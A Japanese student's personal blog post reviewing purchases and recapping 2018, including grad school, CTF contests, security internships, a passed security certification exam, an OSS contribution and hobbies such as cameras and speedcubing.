首からぶら下げられるのとか防水とか知らずに買っていた... 値段も安くて普通に使えるし,普通に良い.前持っていた普通のイヤホンは紛失してしまったので,これを首からぶら下げるようにしたら今のところ問題無さそうだけど,人の目が気になってしまう.

Duo3.0

DUO 3.0

DUO 3.0

復習用CDも一緒に買った.今は2週目やってるけど,覚えづらい熟語とかを短い文章で覚えられて,復習用のCDはネイティブスピーカーがそこそこの速さで喋ってくれるので,良さみがある.

ヘアアイロン

これは細いヘアアイロンなので使いやすい.買って1週間で,床に置いておいたところを踏んでしまい見事に壊れた.それからまた同じものを購入した.

ニトリで買った時計

f:id:ywkw1717:20181231231630j:plain 温度と湿度が表示されていて便利.ただ,売り場にあった他の時計たちのどれも湿度が一致していなくて(温度はだいたい一致してた),どれを信用すればいいんやという気持ちになった.

GAN354 M Stickerless

store.tribox.com

今まで買ったルービックキューブの中では一番の性能だった.

英辞郎

booth.pm

これ↓を使うために買った. qiita.com

英語のWebサイトとかPDFとか読むのにめちゃ便利.

Fujifilm X-T2 とXF35mm F1.4 R

f:id:ywkw1717:20181231215717j:plain やっぱり一番はこれ.カメラは本当に楽しい.もっといろんな写真を撮っていきたい.

2018年を振り返る

毎年恒例の一年を振り返るエントリー.

去年のはこれ.

ywkw1717.hatenablog.com

今年はなんか,うまくいかないことが多い年だった.特に夏のインターンでは苦しんでいて,面接いい感じにいったと思っていた2社にお祈りされて絶望した.(((その2社から貰ったお祈りメールは印刷して自宅の机の前に貼っていて,やる気が出ない時に見るようにしているぐらい悔しい))) その後,ご縁があった企業さん2社に拾ってもらったのが救いだった.その他にもプライベート面でもうまくいかないことが多くて,早く2018年終わってくれと願うことが多かった気がする.

1月

f:id:ywkw1717:20181231215146j:plain 特徴的なできごとがなかった,強いて言うならこの画像をツイートしたらなぜかバズったぐらい.案の定,今ではもうシールが取れてしまったけど.

あとはこの時期は,バイト先の仕事でとにかくパケットを解析していた.1月の頭に帰省していたけど,家でもちょくちょくやっていたぐらいには量が多くて,けどなかなか面白くて夢中になっていた気がする.

2月

大学院に合格した

f:id:ywkw1717:20181231215236p:plain 今通っている大学には3年で学部を退学して大学院へ行くことができるプログラムがあって,それを利用して受験し合格した.合格といってもよっぽどのことがない限り,普通に話していれば合格するやつだと思う.入試では30分間の面接があり,全て英語で行われるということで,最初の約10分は自分が入学後に行う研究計画を口頭で説明する必要があって,それは丸暗記しておいた.あとは聞かれそうな質問はあらかじめ答えを考えておき,これも暗記しておいた.他に用意していなかったものとかはたどたどしい英語で返答し,なんとかなった.

初めてのスノボ

f:id:ywkw1717:20181231215249j:plain せっかくゲレンデが割と近いところに住んでいるのに一度もウィンタースポーツをやっていなかったので,ずっとやってみたかったスノボをやった.当日は地元の友達と現地集合だったけど,ゲレンデを間違えるバグが発生して,なんでかと思ったらLINEに来ていた大量のメッセージの中でいつの間にか変更になっていたっぽい.ちゃんと全部に目を通すべき. 事前に何個か動画を見てから行ったこともあってか最初から普通に滑れて,めちゃくちゃ楽しかった.途中,コースを間違えて上級者コースっぽいところへ行ってしまい,なんとかなるやろと思って滑ったら見事に一回転して足を軽く捻挫したり,帰りは山道を一人で運転していたらスリップして車に思いっきり傷をつけてしまい,親から怒られが発生したことを除けばいい思い出.

f:id:ywkw1717:20181231215321j:plain

これは戒め.

3月

某CTF選考に通った

f:id:ywkw1717:20181231215306p:plain 院進することは決めていたんだけど,受けるだけ受けられるということで2月辺りに受けた結果が送られてきた.この選考のなにが良かったかというと,Pwn問題がものすごく勉強になって,3問あるうちの最後の問題は確かFSBからのROPとかで解いたけど,試行錯誤してシェルを取れた時は本当に感動したことを覚えてる.ただ,Rev問の最後の問題が解けなかったのは悔しかった.

体重が過去最高になる

f:id:ywkw1717:20181231215357j:plain これは事件.大学入学時には68kgとかだったはずなのにいつの間にかデブになっていた,なぜ.身長はあるほうなのでまだましだと思うけど,さすがにやばいと思った. 4月に大学院へ入学後,貰った学生証(写真撮影は3月に行われていた)を見てデブさにがっかりしてダイエットを決めた.今では69kgぐらいに戻ったけど,あと5kgぐらい減らしたさはある.

チームロゴを作った

f:id:ywkw1717:20181231215414p:plain wabisabiというCTFチームを組んでぼちぼち活動しているけど,チームロゴの必要性を感じる機会が何度かあって,モチベーション的にもあったほうがいいだろうということでようやく完成した.侘と寂の字は知り合いに書いてもらい,それをスキャンしてあとは適当に作った.

村人Bが解けた

f:id:ywkw1717:20181231215427p:plain この頃はPwn欲が強くて,上記のCTF選考でハマってから放置していた村人Bも解いてしまおうと思って解いた.環境の問題かなんかでアドレスが違っていたり,しょうもないところで消耗した気がする.ローカルでシェルを取れてからリモートで試そうとしたけどサーバが死んでいるっぽかったのでkusanoさんに連絡をして再起動してもらい,その後リモートでもシェルを取ることができた.

4月

大学院に入学した

入学した.

情報処理技術者試験(情報処理安全確保支援士)

f:id:ywkw1717:20181231215443j:plain おちた.午後1があと1点足らず...

初めてキュービストに会った

f:id:ywkw1717:20181231215457j:plain スピードキューブを趣味でやっているんだけど,周りに同じようなことをやっている友達はいなくて,Twitterでなんとなく「大学でルービックキューブ速い人いないかなぁ」的なことを呟いたら,とあるキュービスト(社会人の方)からDMを貰って実際に会うことになった.大学の食堂で会って,十数秒で解いているところを見せてもらったり,特に印象的なのは目隠しで解くのを間近で見せてもらったことで,ありえんすごかった.

技術書典に行ってきた

f:id:ywkw1717:20181231215513j:plain 初めて参加した.秋葉原で開催されていろいろ買ってきた.当日は以前バイト先にいた先輩方と遭遇したりして.懐かしみがあった.

5月

GWの勉強

HTMLとかCSSとかデザイン的なことを真面目に勉強したことがなかったので,少しやってみた.他にもGo言語とかセキュリティとかいろいろ勉強してた.

6月

四大学合同LT 発表

f:id:ywkw1717:20181231213615j:plain

id:slme9364 が開催したLT.当日は三大学になったけど,自分はとあるサイトで偶々XSSを見つけてからIPAに報告したり,その脆弱性が修正されるまでの過程を発表した.内容はあまり公開したくなくて公開してない.

7月

なにをしていたのかわからない.

8月

研究計画発表

大学院での研究計画を発表するやつ.15分くらいを英語でやらないといけなくて,急いでスライドを準備して教授に添削して貰ったり,研究室の人の前で練習したりした.

SANS NetWarsトーナメント2018

f:id:ywkw1717:20181231215531j:plain 行きたいなぁと前から思っていたやつで,今年は2日間開催ではなく1日開催で,勉強会がなくてCTFだけの開催だった.結果は全体で11位でギリギリ10位以内に入れなくてメダルはもらえなかった.

SECCON2018 x CEDEC CHALLENGE

f:id:ywkw1717:20181231215550j:plain 8月の上旬はほぼこれに費やしていたってくらい頑張っていた.運営が作成したUnity製ゲームの脆弱性を探してチートをする競技で,今年はチートをするだけではなくて対策をして,最終的には他チームの対策が施されたゲームをチートするというものだった.主にwabisabiのメンバーを中心に4人でチームを組んで出た.

第2フェーズまではオンラインで開催される.第1フェーズの調査フェーズでは自分は主にバイナリ書き換え等をやりながらチートをしていて,第2フェーズの対策フェーズでは他3人をまとめながら自分でも対策をして,libyyy.soという共有ライブラリを作ったことが印象的.これは解析のしづらさという点やその他様々な理由からGoで書いていて,ゲーム内で使われる機密情報を管理するライブラリ.第3フェーズは第2フェーズまでで選ばれたチームが出場する予定だったけど,中々第2フェーズをやりきったチームが少なかったらしく,当日は4チームで競い合った.当日の朝に運営の方からアプリが動作しないという連絡を受けて急いでデバッグして,東京に向かう中でもデバッグしてそれでも直らず,結局早めに会場入りしてなんとか動くようにしたことを覚えている.優勝はHarekazeに持っていかれてしまって悔しいので,来年も開催されるならリベンジしたい.

株式会社ラック 5daysインターン

人事の方からお誘い頂いて参加してきた.5日間のインターンシップで,セキュリティに関する様々なことを5日間学んだ.個人的にカードゲームでインシデントレスポンスを体験するやつは結構気に入って楽しめた.だけど最終日のプログラミング体験的なやつは正直に言うと本当に退屈で,プログラミングをやったことがない人に向けたようなもので,自分と同じように退屈している人もいたと思うので,もう少し参加者のレベルを考えて調整してほしかった感がある.宿を提供してくれたのは本当に有難かった.ただ,宿から会社までの道が激つら坂道が続きまくっていて,運動不足にはしんどすぎて3日目ぐらいからタクシーを使って通勤していたのはここだけの話.

the peggies ライブ

f:id:ywkw1717:20181231215615j:plain 優勝した.人生で初のライブはBABYMETALで,2度目はモーニング娘17,そしてこれは3度目のライブになった.会場は下北沢SHELTERで結構狭かったけど,優勝しすぎてしぬかと思った.自分はあまり一つのアーティストにハマることはないんだけど,珍しくハマった.当日は幼馴染と高校の友人の3人で参加して,立ち見で聴いた.自分と高校の友人は周りより身長が高くて頭一つ抜けていたのでボーカルの人と目が合うような感覚が多くて恥ずかしみがあった.絶対また行きたい.

ソフトバンクテクノロジー インターン

人事の方とseccamp'17の時にお昼ご飯を一緒になったのがきっかけで気になっていた会社.マルウェア解析のインターンをやるということで参加した.こちらも5日間のインターンシップで,30人ぐらいはいた気がする.4人のチームを組んで取引先でのインシデントに対応して報告まで行うもので,非常に実践的でよかった.実際にバイト先で似たようなことをやったこともあって,ある程度はチームの役に立てたと思うけど,最終日は祖母のお通夜と重なって途中で帰ってしまったので,最後の懇親会に出られなかったのが残念.

9月

仙台CTF 勉強会

connpass.com

去年も参加していたもので,今年は運営側で参加させてもらった.勉強会は主にフォレンジック的な内容で,タイムライン解析などについて学んだ.

OSS PR

f:id:ywkw1717:20181231215645p:plain shellenというOSSにPRを出した.

github.com

これはシェルコードコーディングをインタラクティブに行えるもので,アセンブルとかディスアセンブルもできる便利ツール.ある日使おうとしたら動かなくて,原因を調べたら自分でも直せそうだったのでPRを出した.対応が早くて助かった.実はこれは初めて出したPRではなくて,実際にはgoncursesというものに5月頃出したことがあったんだけど,何回かやり取りしてからは音信不通になっていて,初めてマージされたのがこちらのPRだったのでこれを初のOSS PRとしたい.

Student Go 発表

www.slideshare.net

@Yamashou0314が開催したイベント.発表のビギナー枠が一つ空いていたので,CEDEC CHALLENGEで作ったlibyyy.soの話をしてきた.ビギナー枠の3人が全員同じ大学で笑った.

10月

DFIR 忍者チャレンジ

大和セキュリティさんが開催したフォレンジックコンテスト.詳しくはこちら.

ywkw1717.hatenablog.com

情報処理技術者試験(情報処理安全確保支援士)再

f:id:ywkw1717:20181231215702j:plain 受かった.今回は初めて一人で受けてきた.こういう試験は毎回1,2ヵ月前からやろうと思っていても数週間前から始めてしまうことがあるあるで,今回もそうだったけど4月にやったぶんの貯金があるはずなのでいけるだろうと思っていた.午後1は半分はCTFのPwnを少しやっていれば解ける問題で,手応えがあった通り9割取れていてよかった.

SECCON 2018 Online CTF

得点があと少し足らなくて国内決勝には出られなかった.来年は学生最後なのでなんとか決勝に出たさがあるけど,メンバー不足が厳しい...

ywkw1717.hatenablog.com

11月

仙台CTF 競技会

connpass.com

9月の勉強会の競技会バージョン.こちらも運営側で参加.(実はCTFにも運営としてこっそり参加してたけど,運営ということで最終的なランキングに載ることはできなかった..)

12月

カメラ買った

f:id:ywkw1717:20181231215717j:plain 良さみが深すぎるから全人類カメラを買うべき.最初からFujifilmにしようかなとぼんやり思ってたけど,バイト先の社員さんとか元社員さんとかに相談して最終的にX-T2というものに決めた.ボディとレンズだけだと思ってたら他にも小物とかあって,最終的に18万ぐらいになってしまいお金が吹っ飛んだ.

3年半ぶりにTOEICを受けた

f:id:ywkw1717:20181231215729j:plain 大学1年の時に受けてから一度も受けてなかったけど,大学院1年生はタダで受けられるということもあって受検した.ちなみにこれは5月か7月だかに受け忘れた人が受けるもので,自分はTOEICがあった翌日に図書館で英語を勉強しているときに受け忘れていたことに気が付いた.さすがにアホっぽい. 得点は3年半前に受けたやつが425点で,今回は410点となぜか下がってて感情が無になった.次のTOEICは500~600点ぐらいは取っておきたさがある.

SECCON遊びに行った

f:id:ywkw1717:20181231215748j:plain 去年も行ったけど今年も遊びに行った.特にバグハンターのパネルディスカッションが目的で,バグバウンティと診断の違いとか,実際に生の声を聞くことができて非常に勉強になった.

3x3x3ルービックキューブを解くのが少し速くなった

f:id:ywkw1717:20181231215802j:plain これは先日出たPB(Personal Best)

CFOPのうち,F2Lは覚えたけどPLLとOLLはまだほとんど覚えていなかったので,PLLを頑張って全部覚えたらタイムが安定してきた.いつかは20秒切るの安定させたい...

まとめ

今年の目標としてはインプットを掲げていて,技術書とかもっと読んでおきたいと思っていたけど,2018年後半ぐらいに気付いて少しずつ軌道修正していたので,あまりインプットはできていなかったように見える.英語能力の向上も掲げていたけど,こちらも大きな変化がなく,バイト先で英語を使う機会が増えたけどなかなか自分の英語能力に関しては変化がない.

こうやって振り返る記事を書いてみると,意外とそこまで最悪な年でもなかったなと思った.やっぱりうまくいかないことが多いと全てが悪く見えてくるし,一度立ち止まって自分がやってきたことを振り返るのはリセットするという意味でも非常に良いので,この一年の振り返りエントリーは続けていきたい.

2019年は,

この辺を頑張りたい.